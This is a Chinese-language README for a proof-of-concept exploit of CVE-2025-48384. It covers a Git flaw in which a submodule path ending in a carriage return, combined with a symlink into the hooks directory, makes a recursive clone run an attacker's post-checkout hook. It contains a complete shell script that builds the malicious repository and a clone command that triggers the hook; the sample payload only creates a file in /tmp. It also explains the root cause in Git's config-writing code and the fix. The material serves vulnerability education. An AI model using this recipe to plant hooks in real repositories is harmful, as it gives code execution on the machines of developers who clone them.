
CVE-2025-48384 PoC
本仓库是为安全教育目的而创建的。
请勿滥用。
该漏洞需要在目录名中包含\r,因此
Linux/Unix系操作系统受到影响。
以下是受影响的 Git 版本:
使用以下命令克隆本仓库时,RCE 也会成立。
※ 执行时请务必注意。
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384
将执行以下子模块仓库的 post-checkout 中的命令:
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"
git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules
ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone
参考这里创建。 做了两点修改:
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
首先,关于为何能够实现 RCE,
本漏洞利用了 Git 的标准功能——hooks。
简单来说,hooks 是
“在特定事件(如提交等)发生时,能够执行预先设定的脚本的功能”。
本漏洞利用了 .git 内的 post-checkout(在检出时执行的文件)。
但是,该文件基本上只能在本地使用,因此仅仅克隆 GitHub 仓库,
攻击者自然无法介入。
而这一点通过利用 Git 对 \r 的处理得以突破,
通过将任意 post-checkout 文件放置在本地 ./.git/modules/sub/hooks/ 中,实现了 RCE。
利用 Git 对 \r 的处理。
我们按照 Git 的处理流程简单说明。
首先,使用 git clone --recursive {url} 从 GitHub 上的远程仓库克隆到本地。
(添加 --recursive 可以同时克隆子模块。)
此时,会将 url 的子模块展开到 .gitmodules 中 path 参数指定的目录。
[submodule "sub"]
url = https://github.com/IK-20211125/sub.git
path = "sub"
对这个 path 参数的目录名进行如下加工:
path = "sub\r"
同时,仓库内的子模块目录名称也设为 sub\r。
这样执行 git clone --recursive 时,
会按照 .gitmodules 中的 path,尝试将子模块从 url 展开到 sub\r 目录。
(如果 .gitmodules 中的 path 对应的目录不存在,则不展开子模块。)
但是,Git 不会引用 .gitmodules 中的 path 值来确定子模块的最终展开位置。
最终引用的是 .git/modules/sub/config 中的 worktree 参数。
该参数是根据 .gitmodules 的 path 值写入的。
这个写入过程很关键。
将 path = "sub\r" 写入 .git/modules/sub/config 的 worktree 时,会变成如下形式:
[core]
workdir = ../../../sub\r
关键点在于它没有被双引号括起来。
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
[...]
/*
* Check to see if the value needs to be surrounded with a dq pair.
* Note that problematic characters are always backslash-quoted; this
* check is about not losing leading or trailing SP and strings that
* follow beginning-of-comment characters (i.e. ';' and '#') by the
* configuration parser.
*/
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);
仅当在特定位置包含空格,
或者任意位置包含 ; 或 # 时,才会被双引号括起来;
但 \r 的情况下不会被双引号括起来。
如果没有双引号括起来,Git 不会评估末尾的 \r。
因此,子模块的展开位置变为 ../../../sub。
子模块的名称为 sub\r,因此可以创建名称为 sub 的任意形式的文件。(名称不重复)
在这里放置符号链接,将子模块的展开位置改为 ./.git/modules/sub/hooks/。
sub -> .git/modules/sub/hooks
攻击者放置在子模块中的脚本文件 post-checkout,
可以被放置到受害者的本地 ./.git/modules/sub/hooks/ 中,并在检出时执行。
此攻击成立的原因是 Git 内部对 \r 的处理方式不同。
.gitmodules 时,由于被双引号括起,会评估 \r。.git/modules/sub/config 时,由于没有被双引号括起,不会评估 \r。在修复了此漏洞的 Git 版本中,进行了如下变更:
(如果包含 \r,则用双引号括起)
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
https://github.com/git/git/blob/master/config.c#L2938
类似的漏洞包括 CVE-2024-32002。
该漏洞在不区分大小写的文件系统(如 Windows、MacOS 等)上,
与 CVE-2025-48384 类似,利用符号链接允许攻击者干预 githooks。
以下文章可供参考:
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002
※ 如果内容中存在解释错误,敬请指正。